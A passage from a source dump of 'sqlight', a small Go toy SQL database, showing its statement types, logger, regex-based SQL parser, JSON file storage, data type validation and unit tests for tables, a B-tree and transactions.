| return "INSERT" 43 | } 44 | 45 | // SelectStatement represents a SELECT statement 46 | type SelectStatement struct { 47 | TableName string 48 | Columns []string 49 | Where map[string]interface{} 50 | } 51 | 52 | func (s *SelectStatement) Type() string { 53 | return "SELECT" 54 | } 55 | 56 | // DropStatement represents a DROP TABLE statement 57 | type DropStatement struct { 58 | TableName string 59 | } 60 | 61 | func (s *DropStatement) Type() string { 62 | return "DROP" 63 | } 64 | 65 | // DescribeStatement represents a DESCRIBE TABLE statement 66 | type DescribeStatement struct { 67 | TableName string 68 | } 69 | 70 | func (s *DescribeStatement) Type() string { 71 | return "DESCRIBE" 72 | } 73 | 74 | // DeleteStatement represents a DELETE statement 75 | type DeleteStatement struct { 76 | TableName string 77 | Where map[string]interface{} 78 | } 79 | 80 | func (s *DeleteStatement) Type() string { 81 | return "DELETE" 82 | } 83 | 84 | // BeginTransactionStatement represents a BEGIN TRANSACTION statement 85 | type BeginTransactionStatement struct{} 86 | 87 | func (s *BeginTransactionStatement) Type() string { 88 | return "BEGIN TRANSACTION" 89 | } 90 | 91 | // CommitStatement represents a COMMIT statement 92 | type CommitStatement struct{} 93 | 94 | func (s *CommitStatement) Type() string { 95 | return "COMMIT" 96 | } 97 | 98 | // RollbackStatement represents a ROLLBACK statement 99 | type RollbackStatement struct{} 100 | 101 | func (s *RollbackStatement) Type() string { 102 | return "ROLLBACK" 103 | } 104 | 105 | // Record represents a database record 106 | type Record struct { 107 | Columns map[string]interface{} 108 | } 109 | 110 | // Result represents a database operation result 111 | type Result struct { 112 | Success bool 113 | Message string 114 | Records []*Record 115 | Columns []string 116 | IsSelect bool 117 | } 118 | 119 | // Transaction represents a database transaction 120 | type Transaction struct { 121 | Tables map[string]*Table 122 | } 123 | 124 | // Database represents a database 125 | type Database interface { 126 | Execute(stmt Statement) (*Result, error) 127 | GetTables() []string 128 | GetTable(name string) (Table, error) 129 | Save(filename string) error 130 | Load(filename string) error 131 | BeginTransaction() error 132 | Commit() error 133 | Rollback() error 134 | } 135 | -------------------------------------------------------------------------------- /pkg/logger/logger.go: -------------------------------------------------------------------------------- 1 | package logger 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os" 7 | "strings" 8 | ) 9 | 10 | var ( 11 | // Debug controls whether debug messages are printed 12 | Debug bool 13 | 14 | logger *log.Logger 15 | ) 16 | 17 | func init() { 18 | logger = log.New(os.Stdout, "", 0) 19 | } 20 | 21 | // SetDebug enables or disables debug logging 22 | func SetDebug(enabled bool) { 23 | Debug = enabled 24 | } 25 | 26 | // Debugf prints debug messages if debug mode is enabled 27 | func Debugf(format string, args ...interface{}) { 28 | if Debug { 29 | logger.Printf("DEBUG: "+format, args...) 30 | } 31 | } 32 | 33 | // Infof prints info messages 34 | func Infof(format string, args ...interface{}) { 35 | logger.Printf("INFO: "+format, args...) 36 | } 37 | 38 | // Errorf prints error messages 39 | func Errorf(format string, args ...interface{}) { 40 | logger.Printf("ERROR: "+format, args...) 41 | } 42 | 43 | // PrintTable prints a table in a formatted way 44 | func PrintTable(headers []string, rows [][]string) { 45 | if len(headers) == 0 || len(rows) == 0 { 46 | fmt.Println("No data to display") 47 | return 48 | } 49 | 50 | // Calculate column widths 51 | widths := make([]int, len(headers)) 52 | for i, h := range headers { 53 | widths[i] = len(h) 54 | } 55 | for _, row := range rows { 56 | for i, cell := range row { 57 | if len(cell) > widths[i] { 58 | widths[i] = len(cell) 59 | } 60 | } 61 | } 62 | 63 | // Print top border 64 | printBorder(widths) 65 | 66 | // Print headers 67 | fmt.Print("|") 68 | for i, h := range headers { 69 | fmt.Printf(" %-*s |", widths[i], h) 70 | } 71 | fmt.Println() 72 | 73 | // Print separator 74 | printBorder(widths) 75 | 76 | // Print rows 77 | for _, row := range rows { 78 | fmt.Print("|") 79 | for i, cell := range row { 80 | fmt.Printf(" %-*s |", widths[i], cell) 81 | } 82 | fmt.Println() 83 | } 84 | 85 | // Print bottom border 86 | printBorder(widths) 87 | } 88 | 89 | func printBorder(widths []int) { 90 | fmt.Print("+") 91 | for _, w := range widths { 92 | fmt.Print(strings.Repeat("-", w+2) + "+") 93 | } 94 | fmt.Println() 95 | } 96 | -------------------------------------------------------------------------------- /pkg/sql/parser.go: -------------------------------------------------------------------------------- 1 | package sql 2 | 3 | import ( 4 | "fmt" 5 | "regexp" 6 | "strconv" 7 | "strings" 8 | "sqlight/pkg/interfaces" 9 | ) 10 | 11 | // Parse parses a SQL statement and returns the corresponding Statement interface 12 | func Parse(sql string) (interfaces.Statement, error) { 13 | // Trim whitespace and remove comments 14 | sql = removeComments(strings.TrimSpace(sql)) 15 | if sql == "" { 16 | return nil, nil 17 | } 18 | 19 | // Convert to uppercase for command matching 20 | upperSQL := strings.ToUpper(sql) 21 | 22 | if strings.HasPrefix(upperSQL, "CREATE TABLE") { 23 | return parseCreateTable(sql) 24 | } else if strings.HasPrefix(upperSQL, "INSERT INTO") { 25 | return parseInsert(sql) 26 | } else if strings.HasPrefix(upperSQL, "SELECT") { 27 | return parseSelect(sql) 28 | } else if strings.HasPrefix(upperSQL, "DROP TABLE") { 29 | return parseDrop(sql) 30 | } else if strings.HasPrefix(upperSQL, "DESCRIBE") { 31 | return parseDescribe(sql) 32 | } else if strings.HasPrefix(upperSQL, "DELETE FROM") { 33 | return parseDelete(sql) 34 | } else if strings.HasPrefix(upperSQL, "BEGIN TRANSACTION") || strings.HasPrefix(upperSQL, "BEGIN") { 35 | return &interfaces.BeginTransactionStatement{}, nil 36 | } else if strings.HasPrefix(upperSQL, "COMMIT") { 37 | return &interfaces.CommitStatement{}, nil 38 | } else if strings.HasPrefix(upperSQL, "ROLLBACK") { 39 | return &interfaces.RollbackStatement{}, nil 40 | } 41 | 42 | return nil, fmt.Errorf("unsupported SQL statement") 43 | } 44 | 45 | // removeComments removes SQL comments from the input 46 | func removeComments(sql string) string { 47 | lines := strings.Split(sql, "\n") 48 | var result []string 49 | for _, line := range lines { 50 | // Remove inline comments 51 | if idx := strings.Index(line, "--"); idx >= 0 { 52 | line = strings.TrimSpace(line[:idx]) 53 | } 54 | if line != "" { 55 | result = append(result, line) 56 | } 57 | } 58 | return strings.Join(result, "\n") 59 | } 60 | 61 | func parseCreateTable(sql string) (*interfaces.CreateStatement, error) { 62 | // Replace newlines with spaces to handle multi-line statements 63 | sql = strings.ReplaceAll(sql, "\n", " ") 64 | 65 | re := regexp.MustCompile(`(?i)CREATE\s+TABLE\s+(\w+)\s*\((.*)\)`) 66 | matches := re.FindStringSubmatch(sql) 67 | if len(matches) != 3 { 68 | return nil, fmt.Errorf("invalid CREATE TABLE syntax") 69 | } 70 | 71 | tableName := matches[1] 72 | columnDefs := strings.Split(matches[2], ",") 73 | columns := make([]interfaces.Column, 0) 74 | 75 | for _, colDef := range columnDefs { 76 | colDef = strings.TrimSpace(colDef) 77 | parts := strings.Fields(colDef) 78 | if len(parts) < 2 { 79 | return nil, fmt.Errorf("invalid column definition: %s", colDef) 80 | } 81 | 82 | col := interfaces.Column{ 83 | Name: parts[0], 84 | Type: strings.ToUpper(parts[1]), 85 | Nullable: true, 86 | } 87 | 88 | // Parse constraints 89 | for i := 2; i < len(parts); i++ { 90 | constraint := strings.ToUpper(parts[i]) 91 | switch constraint { 92 | case "PRIMARY": 93 | if i+1 < len(parts) && strings.ToUpper(parts[i+1]) == "KEY" { 94 | col.PrimaryKey = true 95 | i++ 96 | } 97 | case "NOT": 98 | if i+1 < len(parts) && strings.ToUpper(parts[i+1]) == "NULL" { 99 | col.Nullable = false 100 | i++ 101 | } 102 | case "UNIQUE": 103 | col.Unique = true 104 | } 105 | } 106 | 107 | columns = append(columns, col) 108 | } 109 | 110 | return &interfaces.CreateStatement{ 111 | TableName: tableName, 112 | Columns: columns, 113 | }, nil 114 | } 115 | 116 | func parseInsert(sql string) (*interfaces.InsertStatement, error) { 117 | re := regexp.MustCompile(`(?i)INSERT\s+INTO\s+(\w+)\s*\((.*?)\)\s*VALUES\s*\((.*?)\)`) 118 | matches := re.FindStringSubmatch(sql) 119 | if len(matches) != 4 { 120 | return nil, fmt.Errorf("invalid INSERT syntax") 121 | } 122 | 123 | tableName := matches[1] 124 | columnStr := matches[2] 125 | valueStr := matches[3] 126 | 127 | columns := make([]string, 0) 128 | for _, col := range strings.Split(columnStr, ",") { 129 | columns = append(columns, strings.TrimSpace(col)) 130 | } 131 | 132 | values := make([]interface{}, 0) 133 | for _, val := range strings.Split(valueStr, ",") { 134 | val = strings.TrimSpace(val) 135 | 136 | // Handle string values 137 | if strings.HasPrefix(val, "'") && strings.HasSuffix(val, "'") { 138 | values = append(values, strings.Trim(val, "'")) 139 | continue 140 | } 141 | 142 | // Handle numeric values 143 | if num, err := strconv.Atoi(val); err == nil { 144 | values = append(values, num) 145 | continue 146 | } 147 | 148 | // Default to string value 149 | values = append(values, val) 150 | } 151 | 152 | return &interfaces.InsertStatement{ 153 | TableName: tableName, 154 | Columns: columns, 155 | Values: values, 156 | }, nil 157 | } 158 | 159 | func parseSelect(sql string) (*interfaces.SelectStatement, error) { 160 | // Remove trailing semicolon if present 161 | sql = strings.TrimSuffix(sql, ";") 162 | 163 | // Parse table name and columns 164 | re := regexp.MustCompile(`(?i)SELECT\s+(.*?)\s+FROM\s+(\w+)(?:\s+WHERE\s+(.*))?`) 165 | matches := re.FindStringSubmatch(sql) 166 | if len(matches) < 3 { 167 | return nil, fmt.Errorf("invalid SELECT statement syntax") 168 | } 169 | 170 | // Parse columns 171 | columns := make([]string, 0) 172 | for _, col := range strings.Split(matches[1], ",") { 173 | columns = append(columns, strings.TrimSpace(col)) 174 | } 175 | 176 | // Parse WHERE conditions 177 | where := make(map[string]interface{}) 178 | if len(matches) > 3 && matches[3] != "" { 179 | wherePart := strings.TrimSpace(matches[3]) 180 | 181 | // Split conditions by AND if present 182 | whereConditions := strings.Split(wherePart, " AND ") 183 | for _, condition := range whereConditions { 184 | condition = strings.TrimSpace(condition) 185 | 186 | // Check for different comparison operators: =, >, <, >=, <=, != 187 | var operator string 188 | var parts []string 189 | 190 | if strings.Contains(condition, ">=") { 191 | parts = strings.Split(condition, ">=") 192 | operator = ">=" 193 | } else if strings.Contains(condition, "<=") { 194 | parts = strings.Split(condition, "<=") 195 | operator = "<=" 196 | } else if strings.Contains(condition, "!=") { 197 | parts = strings.Split(condition, "!=") 198 | operator = "!=" 199 | } else if strings.Contains(condition, ">") { 200 | parts = strings.Split(condition, ">") 201 | operator = ">" 202 | } else if strings.Contains(condition, "<") { 203 | parts = strings.Split(condition, "<") 204 | operator = "<" 205 | } else if strings.Contains(condition, "=") { 206 | parts = strings.Split(condition, "=") 207 | operator = "=" 208 | } else { 209 | return nil, fmt.Errorf("invalid WHERE condition: %s", condition) 210 | } 211 | 212 | if len(parts) != 2 { 213 | return nil, fmt.Errorf("invalid WHERE condition: %s", condition) 214 | } 215 | 216 | col := strings.TrimSpace(parts[0]) 217 | val := strings.TrimSpace(parts[1]) 218 | 219 | // Handle quoted string values (both single and double quotes) 220 | if (strings.HasPrefix(val, "'") && strings.HasSuffix(val, "'")) || 221 | (strings.HasPrefix(val, "\"") && strings.HasSuffix(val, "\"")) { 222 | where[col] = map[string]interface{}{ 223 | "operator": operator, 224 | "value": strings.Trim(val, "'\""), 225 | } 226 | continue 227 | } 228 | 229 | // Handle numeric values 230 | if num, err := strconv.Atoi(val); err == nil { 231 | where[col] = map[string]interface{}{ 232 | "operator": operator, 233 | "value": num, 234 | } 235 | continue 236 | } 237 | 238 | // Try to parse as float if not an integer 239 | if num, err := strconv.ParseFloat(val, 64); err == nil { 240 | where[col] = map[string]interface{}{ 241 | "operator": operator, 242 | "value": num, 243 | } 244 | continue 245 | } 246 | 247 | // Default to string value without quotes 248 | where[col] = map[string]interface{}{ 249 | "operator": operator, 250 | "value": val, 251 | } 252 | } 253 | } 254 | 255 | return &interfaces.SelectStatement{ 256 | TableName: matches[2], 257 | Columns: columns, 258 | Where: where, 259 | }, nil 260 | } 261 | 262 | func parseDrop(sql string) (*interfaces.DropStatement, error) { 263 | re := regexp.MustCompile(`(?i)DROP\s+TABLE\s+(\w+)`) 264 | matches := re.FindStringSubmatch(sql) 265 | if len(matches) != 2 { 266 | return nil, fmt.Errorf("invalid DROP TABLE syntax") 267 | } 268 | 269 | return &interfaces.DropStatement{ 270 | TableName: matches[1], 271 | }, nil 272 | } 273 | 274 | func parseDescribe(sql string) (*interfaces.DescribeStatement, error) { 275 | re := regexp.MustCompile(`(?i)DESCRIBE\s+(\w+)`) 276 | matches := re.FindStringSubmatch(sql) 277 | if len(matches) != 2 { 278 | return nil, fmt.Errorf("invalid DESCRIBE syntax") 279 | } 280 | 281 | return &interfaces.DescribeStatement{ 282 | TableName: matches[1], 283 | }, nil 284 | } 285 | 286 | func parseDelete(sql string) (*interfaces.DeleteStatement, error) { 287 | // Remove trailing semicolon if present 288 | sql = strings.TrimSuffix(sql, ";") 289 | 290 | // Parse table name 291 | re := regexp.MustCompile(`(?i)DELETE\s+FROM\s+(\w+)(?:\s+WHERE\s+(.*))?`) 292 | matches := re.FindStringSubmatch(sql) 293 | if len(matches) < 2 { 294 | return nil, fmt.Errorf("invalid DELETE statement syntax") 295 | } 296 | 297 | tableName := matches[1] 298 | conditions := make(map[string]interface{}) 299 | 300 | // Parse WHERE conditions if present 301 | if len(matches) > 2 && matches[2] != "" { 302 | wherePart := strings.TrimSpace(matches[2]) 303 | 304 | // Split conditions by AND if present 305 | whereConditions := strings.Split(wherePart, " AND ") 306 | for _, condition := range whereConditions { 307 | condition = strings.TrimSpace(condition) 308 | 309 | // Check for different comparison operators: =, >, <, >=, <=, != 310 | var operator string 311 | var parts []string 312 | 313 | if strings.Contains(condition, ">=") { 314 | parts = strings.Split(condition, ">=") 315 | operator = ">=" 316 | } else if strings.Contains(condition, "<=") { 317 | parts = strings.Split(condition, "<=") 318 | operator = "<=" 319 | } else if strings.Contains(condition, "!=") { 320 | parts = strings.Split(condition, "!=") 321 | operator = "!=" 322 | } else if strings.Contains(condition, ">") { 323 | parts = strings.Split(condition, ">") 324 | operator = ">" 325 | } else if strings.Contains(condition, "<") { 326 | parts = strings.Split(condition, "<") 327 | operator = "<" 328 | } else if strings.Contains(condition, "=") { 329 | parts = strings.Split(condition, "=") 330 | operator = "=" 331 | } else { 332 | return nil, fmt.Errorf("invalid WHERE condition: %s", condition) 333 | } 334 | 335 | if len(parts) != 2 { 336 | return nil, fmt.Errorf("invalid WHERE condition: %s", condition) 337 | } 338 | 339 | column := strings.TrimSpace(parts[0]) 340 | value := strings.TrimSpace(parts[1]) 341 | 342 | // Handle quoted string values (both single and double quotes) 343 | if (strings.HasPrefix(value, "'") && strings.HasSuffix(value, "'")) || 344 | (strings.HasPrefix(value, "\"") && strings.HasSuffix(value, "\"")) { 345 | conditions[column] = map[string]interface{}{ 346 | "operator": operator, 347 | "value": strings.Trim(value, "'\""), 348 | } 349 | continue 350 | } 351 | 352 | // Handle numeric values 353 | if num, err := strconv.Atoi(value); err == nil { 354 | conditions[column] = map[string]interface{}{ 355 | "operator": operator, 356 | "value": num, 357 | } 358 | continue 359 | } 360 | 361 | // Try to parse as float if not an integer 362 | if num, err := strconv.ParseFloat(value, 64); err == nil { 363 | conditions[column] = map[string]interface{}{ 364 | "operator": operator, 365 | "value": num, 366 | } 367 | continue 368 | } 369 | 370 | // Default to string value without quotes 371 | conditions[column] = map[string]interface{}{ 372 | "operator": operator, 373 | "value": value, 374 | } 375 | } 376 | } 377 | 378 | return &interfaces.DeleteStatement{ 379 | TableName: tableName, 380 | Where: conditions, 381 | }, nil 382 | } 383 | -------------------------------------------------------------------------------- /pkg/storage/disk.go: -------------------------------------------------------------------------------- 1 | package storage 2 | 3 | import ( 4 | "encoding/json" 5 | "os" 6 | "sqlight/pkg/db" 7 | ) 8 | 9 | // TableData represents the structure we want to save 10 | type TableData struct { 11 | Tables map[string]*db.Table `json:"tables"` 12 | } 13 | 14 | func SaveToFile(filename string, database *db.Database) error { 15 | data := TableData{ 16 | Tables: database.Tables(), 17 | } 18 | 19 | file, err := os.Create(filename) 20 | if err != nil { 21 | return err 22 | } 23 | defer file.Close() 24 | 25 | encoder := json.NewEncoder(file) 26 | return encoder.Encode(data) 27 | } 28 | 29 | func LoadFromFile(filename string) (*db.Database, error) { 30 | file, err := os.Open(filename) 31 | if err != nil { 32 | return nil, err 33 | } 34 | defer file.Close() 35 | 36 | var data TableData 37 | decoder := json.NewDecoder(file) 38 | if err := decoder.Decode(&data); err != nil { 39 | return nil, err 40 | } 41 | 42 | database := db.NewDatabase(filename) 43 | database.SetTables(data.Tables) 44 | return database, nil 45 | } 46 | -------------------------------------------------------------------------------- /pkg/types/datatypes/types.go: -------------------------------------------------------------------------------- 1 | package datatypes 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "strconv" 7 | "time" 8 | ) 9 | 10 | type DataType interface { 11 | Name() string 12 | Validate(value interface{}) error 13 | Convert(value interface{}) (interface{}, error) 14 | MarshalJSON() ([]byte, error) 15 | } 16 | 17 | type IntegerType struct{} 18 | type TextType struct{} 19 | type BooleanType struct{} 20 | type DateTimeType struct{} 21 | 22 | func (t *IntegerType) Name() string { return "INTEGER" } 23 | func (t *TextType) Name() string { return "TEXT" } 24 | func (t *BooleanType) Name() string { return "BOOLEAN" } 25 | func (t *DateTimeType) Name() string { return "DATETIME" } 26 | 27 | func (t *IntegerType) Validate(value interface{}) error { 28 | switch v := value.(type) { 29 | case int, int32, int64: 30 | return nil 31 | case float64: 32 | // Check if it's a whole number 33 | if v == float64(int(v)) { 34 | return nil 35 | } 36 | return fmt.Errorf("float value must be a whole number: %v", value) 37 | case string: 38 | _, err := strconv.ParseInt(v, 10, 64) 39 | return err 40 | default: 41 | return fmt.Errorf("invalid integer value: %v", value) 42 | } 43 | } 44 | 45 | func (t *TextType) Validate(value interface{}) error { 46 | switch value.(type) { 47 | case string: 48 | return nil 49 | default: 50 | return fmt.Errorf("invalid text value: %v", value) 51 | } 52 | } 53 | 54 | func (t *BooleanType) Validate(value interface{}) error { 55 | switch v := value.(type) { 56 | case bool: 57 | return nil 58 | case string: 59 | _, err := strconv.ParseBool(v) 60 | return err 61 | default: 62 | return fmt.Errorf("invalid boolean value: %v", value) 63 | } 64 | } 65 | 66 | func (t *DateTimeType) Validate(value interface{}) error { 67 | switch v := value.(type) { 68 | case time.Time: 69 | return nil 70 | case string: 71 | _, err := time.Parse(time.RFC3339, v) 72 | return err 73 | default: 74 | return fmt.Errorf("invalid datetime value: %v", value) 75 | } 76 | } 77 | 78 | // Convert functions 79 | func (t *IntegerType) Convert(value interface{}) (interface{}, error) { 80 | switch v := value.(type) { 81 | case int, int32, int64: 82 | return v, nil 83 | case float64: 84 | // Check if it's a whole number 85 | if v == float64(int(v)) { 86 | return int(v), nil 87 | } 88 | return nil, fmt.Errorf("float value must be a whole number: %v", value) 89 | case string: 90 | i, err := strconv.ParseInt(v, 10, 64) 91 | if err != nil { 92 | return nil, err 93 | } 94 | return int(i), nil 95 | default: 96 | return nil, fmt.Errorf("cannot convert to integer: %v", value) 97 | } 98 | } 99 | 100 | func (t *TextType) Convert(value interface{}) (interface{}, error) { 101 | return fmt.Sprintf("%v", value), nil 102 | } 103 | 104 | func (t *BooleanType) Convert(value interface{}) (interface{}, error) { 105 | switch v := value.(type) { 106 | case bool: 107 | return v, nil 108 | case string: 109 | return strconv.ParseBool(v) 110 | default: 111 | return nil, fmt.Errorf("cannot convert to boolean: %v", value) 112 | } 113 | } 114 | 115 | func (t *DateTimeType) Convert(value interface{}) (interface{}, error) { 116 | switch v := value.(type) { 117 | case time.Time: 118 | return v, nil 119 | case string: 120 | return time.Parse(time.RFC3339, v) 121 | default: 122 | return nil, fmt.Errorf("cannot convert to datetime: %v", value) 123 | } 124 | } 125 | 126 | func (t *IntegerType) MarshalJSON() ([]byte, error) { 127 | return json.Marshal("INTEGER") 128 | } 129 | 130 | func (t *TextType) MarshalJSON() ([]byte, error) { 131 | return json.Marshal("TEXT") 132 | } 133 | 134 | func (t *BooleanType) MarshalJSON() ([]byte, error) { 135 | return json.Marshal("BOOLEAN") 136 | } 137 | 138 | func (t *DateTimeType) MarshalJSON() ([]byte, error) { 139 | return json.Marshal("DATETIME") 140 | } 141 | 142 | // GetType returns the appropriate DataType for a type name 143 | func GetType(typeName string) (DataType, error) { 144 | switch typeName { 145 | case "INTEGER", "INT": 146 | return &IntegerType{}, nil 147 | case "TEXT", "VARCHAR", "STRING": 148 | return &TextType{}, nil 149 | case "BOOLEAN", "BOOL": 150 | return &BooleanType{}, nil 151 | case "DATETIME", "TIMESTAMP": 152 | return &DateTimeType{}, nil 153 | default: 154 | return nil, fmt.Errorf("unknown type: %s", typeName) 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /tests/database_test.go: -------------------------------------------------------------------------------- 1 | package tests 2 | 3 | import ( 4 | "os" 5 | "path/filepath" 6 | "sqlight/pkg/db" 7 | "sqlight/pkg/interfaces" 8 | "testing" 9 | ) 10 | 11 | func TestDatabase(t *testing.T) { 12 | // Create a temporary database file for testing 13 | tmpFile := "test_db.json" 14 | defer os.Remove(tmpFile) 15 | 16 | database := db.NewDatabase(tmpFile) 17 | 18 | // Test CREATE TABLE with data types 19 | err := database.CreateTable("users", []interfaces.ColumnDef{ 20 | {Name: "id", Type: "INTEGER"}, 21 | {Name: "name", Type: "TEXT"}, 22 | {Name: "email", Type: "TEXT"}, 23 | }) 24 | if err != nil { 25 | t.Fatalf("Error creating table: %v", err) 26 | } 27 | 28 | // Test duplicate table creation 29 | err = database.CreateTable("users", []interfaces.ColumnDef{ 30 | {Name: "id", Type: "INTEGER"}, 31 | }) 32 | if err == nil { 33 | t.Error("Expected error when creating duplicate table") 34 | } 35 | 36 | // Test INSERT with data types 37 | r1 := interfaces.NewRecord(map[string]interface{}{ 38 | "id": 1, 39 | "name": "Alice", 40 | "email": "alice@email.com", 41 | }) 42 | 43 | err = database.InsertIntoTable("users", r1) 44 | if err != nil { 45 | t.Fatalf("Error inserting record: %v", err) 46 | } 47 | 48 | // Test invalid table insert 49 | err = database.InsertIntoTable("nonexistent", r1) 50 | if err == nil { 51 | t.Error("Expected error when inserting into non-existent table") 52 | } 53 | 54 | // Test SELECT 55 | records, err := database.SelectFromTable("users") 56 | if err != nil { 57 | t.Fatalf("Error selecting from table: %v", err) 58 | } 59 | 60 | if len(records) != 1 { 61 | t.Fatalf("Expected 1 record, got %d", len(records)) 62 | } 63 | 64 | // Test invalid table select 65 | _, err = database.SelectFromTable("nonexistent") 66 | if err == nil { 67 | t.Error("Expected error when selecting from non-existent table") 68 | } 69 | 70 | // Test column values 71 | r, ok := records[0].(*interfaces.Record) 72 | if !ok { 73 | t.Fatalf("Invalid record type") 74 | } 75 | 76 | if r.Columns["name"] != "Alice" { 77 | t.Errorf("Expected name 'Alice', got '%v'", r.Columns["name"]) 78 | } 79 | 80 | // Test UPDATE 81 | err = database.UpdateTable("users", 82 | map[string]interface{}{"name": "Alice Smith"}, 83 | "id", 84 | float64(1)) 85 | if err != nil { 86 | t.Fatalf("Error updating record: %v", err) 87 | } 88 | 89 | // Verify update 90 | record, err := database.FindInTable("users", 1) 91 | if err != nil { 92 | t.Fatalf("Error finding updated record: %v", err) 93 | } 94 | r, _ = record.(*interfaces.Record) 95 | if r.Columns["name"] != "Alice Smith" { 96 | t.Errorf("Expected updated name 'Alice Smith', got '%v'", r.Columns["name"]) 97 | } 98 | 99 | // Test invalid update 100 | err = database.UpdateTable("users", 101 | map[string]interface{}{"name": "Bob"}, 102 | "id", 103 | float64(999)) 104 | if err == nil { 105 | t.Error("Expected error when updating non-existent record") 106 | } 107 | 108 | // Test DELETE 109 | err = database.DeleteFromTable("users", "id", float64(1)) 110 | if err != nil { 111 | t.Fatalf("Error deleting record: %v", err) 112 | } 113 | 114 | // Verify delete 115 | records, err = database.SelectFromTable("users") 116 | if err != nil { 117 | t.Fatalf("Error selecting after delete: %v", err) 118 | } 119 | if len(records) != 0 { 120 | t.Errorf("Expected 0 records after delete, got %d", len(records)) 121 | } 122 | 123 | // Test invalid delete 124 | err = database.DeleteFromTable("users", "id", float64(999)) 125 | if err == nil { 126 | t.Error("Expected error when deleting non-existent record") 127 | } 128 | 129 | // Test file operations 130 | // Save current state 131 | err = database.Execute("INSERT INTO users VALUES (2, 'Bob', 'bob@email.com')") 132 | if err != nil { 133 | t.Fatalf("Error executing INSERT: %v", err) 134 | } 135 | 136 | // Create new database instance to load saved state 137 | database2 := db.NewDatabase(tmpFile) 138 | records, err = database2.SelectFromTable("users") 139 | if err != nil { 140 | t.Fatalf("Error selecting from loaded database: %v", err) 141 | } 142 | if len(records) != 1 { 143 | t.Errorf("Expected 1 record in loaded database, got %d", len(records)) 144 | } 145 | } 146 | 147 | func TestSQLParser(t *testing.T) { 148 | database := db.NewDatabase("test_parser.json") 149 | defer os.Remove("test_parser.json") 150 | 151 | // Test CREATE TABLE 152 | err := database.Execute("CREATE TABLE products (id INTEGER, name TEXT, price INTEGER)") 153 | if err != nil { 154 | t.Fatalf("Error executing CREATE TABLE: %v", err) 155 | } 156 | 157 | // Test INSERT 158 | err = database.Execute("INSERT INTO products VALUES (1, 'Widget', 100)") 159 | if err != nil { 160 | t.Fatalf("Error executing INSERT: %v", err) 161 | } 162 | 163 | // Test SELECT 164 | err = database.Execute("SELECT * FROM products") 165 | if err != nil { 166 | t.Fatalf("Error executing SELECT: %v", err) 167 | } 168 | 169 | // Test UPDATE 170 | err = database.Execute("UPDATE products SET price = 200 WHERE id = 1") 171 | if err != nil { 172 | t.Fatalf("Error executing UPDATE: %v", err) 173 | } 174 | 175 | // Test DELETE 176 | err = database.Execute("DELETE FROM products WHERE id = 1") 177 | if err != nil { 178 | t.Fatalf("Error executing DELETE: %v", err) 179 | } 180 | 181 | // Test invalid SQL 182 | err = database.Execute("INVALID SQL") 183 | if err == nil { 184 | t.Error("Expected error for invalid SQL") 185 | } 186 | 187 | err = database.Execute("SELECT * FROM nonexistent") 188 | if err == nil { 189 | t.Error("Expected error for non-existent table") 190 | } 191 | } 192 | 193 | func TestBTree(t *testing.T) { 194 | tree := db.NewBTree() 195 | 196 | // Test Insert and Search 197 | r1 := interfaces.NewRecord(map[string]interface{}{ 198 | "id": 1, 199 | "name": "Alice", 200 | "email": "alice@email.com", 201 | }) 202 | 203 | tree.Insert(1, r1) 204 | 205 | found := tree.Search(1) 206 | if found == nil { 207 | t.Fatal("Record not found after insertion") 208 | } 209 | 210 | if found.Columns["name"] != "Alice" { 211 | t.Errorf("Expected name 'Alice', got '%v'", found.Columns["name"]) 212 | } 213 | 214 | // Test non-existent key 215 | notFound := tree.Search(999) 216 | if notFound != nil { 217 | t.Error("Expected nil for non-existent key") 218 | } 219 | 220 | // Test multiple inserts 221 | r2 := interfaces.NewRecord(map[string]interface{}{ 222 | "id": 2, 223 | "name": "Bob", 224 | "email": "bob@email.com", 225 | }) 226 | tree.Insert(2, r2) 227 | 228 | // Test Scan 229 | records := tree.Scan() 230 | if len(records) != 2 { 231 | t.Errorf("Expected 2 records, got %d", len(records)) 232 | } 233 | 234 | // Test Delete 235 | tree.Delete(1) 236 | found = tree.Search(1) 237 | if found != nil { 238 | t.Error("Record still exists after deletion") 239 | } 240 | } 241 | 242 | func TestTransactions(t *testing.T) { 243 | // Create a temporary database file 244 | tmpFile := filepath.Join(os.TempDir(), "test_db_tx.json") 245 | defer os.Remove(tmpFile) 246 | 247 | db := db.NewDatabase(tmpFile) 248 | 249 | // Create a test table 250 | columns := []interfaces.ColumnDef{ 251 | {Name: "id", Type: "INTEGER"}, 252 | {Name: "name", Type: "TEXT"}, 253 | } 254 | err := db.CreateTable("users", columns) 255 | if err != nil { 256 | t.Fatalf("Failed to create table: %v", err) 257 | } 258 | 259 | // Test 1: Basic transaction commit 260 | t.Run("Transaction Commit", func(t *testing.T) { 261 | err := db.Begin() 262 | if err != nil { 263 | t.Fatalf("Failed to begin transaction: %v", err) 264 | } 265 | 266 | // Insert a record 267 | record := interfaces.NewRecord(map[string]interface{}{ 268 | "id": 1, 269 | "name": "Alice", 270 | }) 271 | tables := db.Tables() 272 | err = tables["users"].Insert(record) 273 | if err != nil { 274 | t.Fatalf("Failed to insert record: %v", err) 275 | } 276 | 277 | err = db.Commit() 278 | if err != nil { 279 | t.Fatalf("Failed to commit transaction: %v", err) 280 | } 281 | 282 | // Verify record exists 283 | tables = db.Tables() 284 | cursor := tables["users"].NewCursor() 285 | found := false 286 | record, err = cursor.First() 287 | for record != nil && err == nil { 288 | if record.Columns["id"] == 1 { 289 | found = true 290 | break 291 | } 292 | record, err = cursor.Next() 293 | } 294 | if !found { 295 | t.Error("Record not found after commit") 296 | } 297 | }) 298 | 299 | // Test 2: Transaction rollback 300 | t.Run("Transaction Rollback", func(t *testing.T) { 301 | err := db.Begin() 302 | if err != nil { 303 | t.Fatalf("Failed to begin transaction: %v", err) 304 | } 305 | 306 | // Insert a record 307 | record := interfaces.NewRecord(map[string]interface{}{ 308 | "id": 2, 309 | "name": "Bob", 310 | }) 311 | tables := db.Tables() 312 | err = tables["users"].Insert(record) 313 | if err != nil { 314 | t.Fatalf("Failed to insert record: %v", err) 315 | } 316 | 317 | err = db.Rollback() 318 | if err != nil { 319 | t.Fatalf("Failed to rollback transaction: %v", err) 320 | } 321 | 322 | // Verify record does not exist 323 | tables = db.Tables() 324 | cursor := tables["users"].NewCursor() 325 | found := false 326 | record, err = cursor.First() 327 | for record != nil && err == nil { 328 | if record.Columns["id"] == 2 { 329 | found = true 330 | break 331 | } 332 | record, err = cursor.Next() 333 | } 334 | if found { 335 | t.Error("Record found after rollback") 336 | } 337 | }) 338 | 339 | // Test 3: 